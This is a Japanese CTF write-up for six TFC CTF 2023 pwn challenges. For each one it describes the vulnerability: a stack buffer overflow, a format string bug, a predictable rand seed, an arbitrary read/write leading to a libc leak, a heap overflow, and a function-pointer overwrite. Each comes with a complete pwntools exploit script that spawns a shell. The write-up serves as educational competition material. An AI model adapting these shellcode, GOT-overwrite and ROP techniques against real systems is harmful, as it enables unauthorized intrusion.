Pwn-DIARY
シンプルなshellcode問です。
緩和機構は以下の通りに設定されていました。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
vuln関数では以下のように、スタックで確保している以上にfgets関数による入力が可能なためBOFがあります。
0x000000000040114f <+0>: push rbp
0x0000000000401150 <+1>: mov rbp,rsp
0x0000000000401153 <+4>: sub rsp,0x100
-- snip --
0x000000000040129b <+332>: lea rax,[rbp-0x100]
0x00000000004012a2 <+339>: mov esi,0x400
0x00000000004012a7 <+344>: mov rdi,rax
0x00000000004012aa <+347>: call 0x401040 <fgets@plt>
また、helper関数にはjmp rspのガジェットがあるのでこれを利用します。
0x000000000040114a <+4>: jmp rsp
以下はソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x00000000004012b1
continue
'''.format(**locals())
exe = "./diary"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
padding = 264
jmp_rsp = 0x000000000040114a
shellcode = asm(shellcraft.sh())
payload = flat(
asm("nop") * 264,
jmp_rsp,
asm("nop")*8,
shellcode,
)
io.sendlineafter(b"Dear diary...",payload)
io.interactive()
Pwn-SHELLO-WORLD
fsbの問題でした。
checksec
逆コンパイル結果を確認すると以下の箇所にfsbがあります。
fgets((char *)&local_108,0x100,stdin);
printf("Hello, ");
printf((char *)&local_108);
また問題バイナリにはwin関数があり、vuln関数からmain関数にretした後exitされるので、
fsbを使って[email protected]をwin関数に上書きすればクリアです。
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x4012fb
continue
'''.format(**locals())
exe = "./shello-world"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
win = elf.sym["win"]
writes = {elf.got["exit"]: win}
payload = fmtstr_payload(6,writes)
io.sendline(payload)
io.interactive()
Pwn-RANDOM
seed値の設定不備を突く問題です。
逆コンパイル結果を確認します。
main.c
rand関数で出力した結果と入力した結果を比較し、trueならcntをインクリメントします。
cntが10以上ならwin関数がコールされます。
srand関数にtime関数の返り値を渡しているので同じタイミングでseedを設定し、rand関数で得た結果を入力すればクリアです。
以下ソルバーです。
※seed -1しているのはリモート環境での実行用に調整しているためです。
from pwn import *
import ctypes
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *main+27
b *main+217
continue
'''.format(**locals())
exe = "./random"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
rand_func = libc.rand
srand_func= libc.srand
io = start()
seed = int(time.time())
# remote
srand_func(seed-1)
rand_arr = []
for i in range(10):
rand_arr.append(rand_func())
io.recvuntil(b"Guess my numbers!")
for i in range(10):
io.sendline(str(rand_arr[i]).encode())
io.interactive()
Pwn-EASYROP
rop問です。
問題バイナリにはget_indexで指定したアドレスの4バイトをread、またはwriteできる機能があるため、これを利用してsaved ripをリークした後、onegadgetに上書きします。
main関数のsaved ripには__libc_start_call_main+128が設定されているためこれをリークすることでlibcのbaseアドレスを特定できます。
get_indexでは入力値 % 3=0 になるような値を渡すとexitされてしまいますが、幸運なことに上記の位置は問題ありませんでした。
逆コンパイル結果
以下ソルバーです。
※rbpにbssのアドレスを入れているのは参照エラー回避のためです。
4バイトずつの書き込みのため分割して書き込みを行っています。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *0x0000000000401444
b *0x0000000000401465
b *0x00000000004014be
continue
'''.format(**locals())
exe = "./easyrop"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
def write_mem(io,index,data):
io.sendlineafter(b"Press '1' to write and '2' to read!",b"1")
io.sendlineafter(b"index",index)
io.sendlineafter(b"number",data)
def convert_int_arr(data):
res = []
val_fd = hex(data)[:6]
val_bk = hex(data)[6:]
res.append(int(val_fd,16))
res.append(int(val_bk,16))
return res
io = start()
# index = 130 でstart_callの後半リーク
# index = 131 でstart_callの前半リーク
payload = b"2"
io.sendline(b"2")
io.sendlineafter(b"index","131")
io.recvuntil(b" is ")
libc_harf_fd = io.recvline()[:-1]
print(libc_harf_fd)
io.sendline(b"2")
io.sendlineafter(b"index",b"130")
io.recvuntil(b" is ")
libc_harf_bk = io.recvline()[:-1]
libc_base = int(libc_harf_fd + libc_harf_bk,16) -0x29d90
info("libc %#x" ,libc_base)
pop_rdi = libc_base + 0x000000000002a3e5 #: pop rdi; ret;
binsh = libc_base + 0x1d8698
system = libc_base + 0x50d60
ret =0x000000000040101a
info("system %#x" ,system)
info("binsh %#x" ,binsh)
one_gadget =libc_base+ 0x50a37 #0xebcf1 #0xebcf5 0xebcf8
one_gadget_arr = convert_int_arr(one_gadget)
write_mem(io,b"128",str(elf.bss(0x700)).encode())
write_mem(io,b"131",str(one_gadget_arr[0]).encode())
write_mem(io,b"130",str(one_gadget_arr[1]).encode())
io.interactive()
Pwn-NOTES
シンプルなheap overflowの問題でした。
問題バイナリとソースコードが配布されます。
note.c
checksecするとno-canary,no-pie,partial RELROであることがわかります。
問題バイナリにはadd,edit,viewの機能があり、noteの追加/編集/参照が可能です。
add関数では2度malloc関数をコールし、note用のメモリとnote構造体のcontent用のメモリを確保します。
note_t* add() {
note_t* note = malloc(sizeof(note_t));
note->content = malloc(sizeof(CONTENT_MAX));
printf("content> \n");
fgets(note->content, sizeof(CONTENT_MAX), stdin);
またedit関数ではadd関数で作成したnoteのcontentに書き込みができますが、ここに脆弱性があります。
add関数ではmalloc(sizeif(CONTENT_MAX))でメモリ確保していますが、editではCONTENT_MAX分(256)の入力ができます。
fgets(note->content, CONTENT_MAX, stdin);
gdbで上記の処理を確認します。
add関数で index 1 ,content “junk”を入力するとheap領域は以下のようになっています。
note,contentともに0x20サイズのメモリが確保されています。
※malloc(0x8)でコールされているがchunkの最小サイズは0x20のため
noteのchunkにはcontentを示すアドレスがあり、contentのchunkには入力したjunkという文字列が入っています。
0x405290 0x0000000000000000 0x0000000000000021 ........!.......
0x4052a0 0x00000000004052c0 0x0000000000000000 .R@.............
0x4052b0 0x0000000000000000 0x0000000000000021 ........!.......
0x4052c0 0x0000000a6b6e756a 0x0000000000000000 junk............
次にedit関数を実行し、fgets関数をコールする処理にブレークさせてみます。
fgetsではnote_chunkのcontentを指すアドレスへ0x100分の入力ができることを確認できました。
(ソースコードの通りですが…)
► 0x401291 <edit+44> call fgets@plt <fgets@plt>
s: 0x4052c0 ◂— 0xa6b6e756a /* 'junk\n' */
n: 0x100
stream: 0x7ffff7fa1aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
上記の通り、問題バイナリにはheap overflowがあるのでこれを利用してexit.got.pltをwinに上書きします。
win関数をコールするまでの順序は以下の通りです。
- add機能でnoteを2つ作成する
- edit機能で1つ目のnoteを選択し、overflowで2つ目のnoteのcontentを示すアドレスをexit.got.pltに上書きする
- edit機能で2つ目のnoteを選択し、win関数のアドレスを入力する
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *edit+44
continue
'''.format(**locals())
exe = "./notes"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"]
def menu(io,select):
io.sendlineafter(b"1. Add note",select)
def add_note(io,index,content):
menu(io,b"1")
io.sendlineafter(b"index",index)
io.sendlineafter(b"content",content)
def edit_note(io,index,content):
menu(io,b"2")
io.sendlineafter(b"index",index)
io.sendlineafter(b"conten",content)
def exit(io):
menu(io,b"0")
io = start()
add_note(io,b"1",b"junk")
add_note(io,b"2",b"junk")
payload = flat(
b"a" *16 ,
b"\x00"*8,b"\x21",b"\x00"*7,
exit_got
)
edit_note(io,b"1",payload)
edit_note(io,b"2",p64(win))
exit(io)
io.interactive()
PWN-PWN;GATE
とあるアニメを題材にした問題でした。
問題バイナリとlibcが配布されます。
問題バイナリを実行するとnameを入力したあと、1-5までの入力した数値に応じた機能を実行できます。
入力した値はtimeline構造体(多分)のメンバに保存されます。
timeline構造体は文字列(0x1c)と関数ポインタ(0x8)を持っています。
$ ./pwngate
Your current timeline is horrible.
In order to reach the Pwn;Gate you are ready to sacrifice everything...
Enter your name: makise
What are you going to do?
-------------------------
[1] Try to change the timeline
[2] Time leap
[3] Ensure your sanity
[4] Remember who you are
[5] Exit
-------------------------
Enter choice:
以下はそれぞれの数値を入力した際の挙動です。
1: divergence_meter関数はを実行
2: timeleap関数を実行
3: leavingの値が0でなければsanity関数を実行
4: game_checkの値が0でなければokabe関数を実行
5: Exit
divergence_meter関数
timeleap関数
sanity関数
okabe関数
whereami関数
verify_number関数
timeline->funcにはバイナリ実行時にコールされるcurrent_leapという関数でfate関数が設定されます。
またcurrent_leap関数ではpassword関数がコールされており、この関数ではrand関数の返り値をグローバル変数に保存します。
fate関数は文字列を出力するだけの関数です。
攻略の順序は以下の通りです。
- divergence_meter関数でtimeline-funcに設定されているfate関数下位1バイトを上書きしてnew_fate関数を設定する
- timeleap関数を実行、new_fate関数を実行される
- new_fate関数からwhereami関数がコールされるので、入力値 & 0xffffffff=0になるような値を入力する
- print_current_password関数がコールされ、levelingに1が設定された後passwordが出力される
- sanity関数を実行する
- sanity関数で3→2の順に入力する
- 問題バイナリのアドレスをリークできるのでこのアドレスからpie_baseを特定する
- sanity関数で1を入力する
- okabe関数を実行する
- timeline->funcに任意のアドレスを書き込めるのでwin関数の開始アドレスを設定する
- timeleap関数を実行する
- shellが取れる
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def menu(io,select):
io.sendline(select)
def divergence_meter(io,data):
menu(io,b"1")
io.sendlineafter(b"Choose where to leap:",data)
def time_leep(io):
menu(io,b"2")
def sanity(io):
menu(io,b"3")
def sanity_menu(io,select):
io.sendlineafter(b"Answer my questions",select)
def sanity_answer(io):
sanity_menu(io,b"1")
io.sendlineafter(b"What is written on the Lab Members badge?",b"OSHMKUFA 2010")
io.sendlineafter(b"What is the name of Okabe's Laboratory?",b"Future Gagdet Laboratory")
io.sendlineafter(b"What is Mayuri's favorite hobby?",b"Cosplay")
io.sendlineafter(b"Is Ruka a boy or girl?",b"It depends on the timeline")
def sanity_score(io):
sanity_menu(io,b"3")
def sanity_show_ans(io):
sanity_menu(io,b"2")
def sanity_ret(io):
sanity_menu(io,b"4")
def okabe(io,password,data):
menu(io,b"4")
io.sendlineafter(b"What's the password?",password)
io.sendlineafter(b"Do you still remember who you are?:",data)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b *sanity+724
b *okabe
continue
'''.format(**locals())
exe = "./pwngate"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"]
io = start()
io.sendlineafter(b"Enter your name:" ,b"test")
divergence_meter(io,b"a"*8 + b"\xec")
time_leep(io)
io.sendlineafter(b"Stress levels are too high.. I'm sure you want to take a break",b"-4294967296")
io.recvuntil(b"You aren't sane anymore... Your password is: \n")
password = io.recvline()[:-1]
print(password)
sanity(io)
sanity_score(io)
sanity_show_ans(io)
io.recvuntil(b"These are your answers: \n")
pie_base = u64(io.recvline()[:-1] + b"\x00"*2) - 0x3d48
info("%#x",pie_base)
elf.address = pie_base
sanity_answer(io)
sanity_ret(io)
win = p64(elf.sym["win"])
payload = flat(
b"a"*24,
win
)
okabe(io,password,payload)
time_leep(io)
io.interactive()
# TFCCTF{4cc3pt_wh4t_y0u_h4v3_s33n!}
原文始发于t0m3y:tfc-ctf-2023 writeup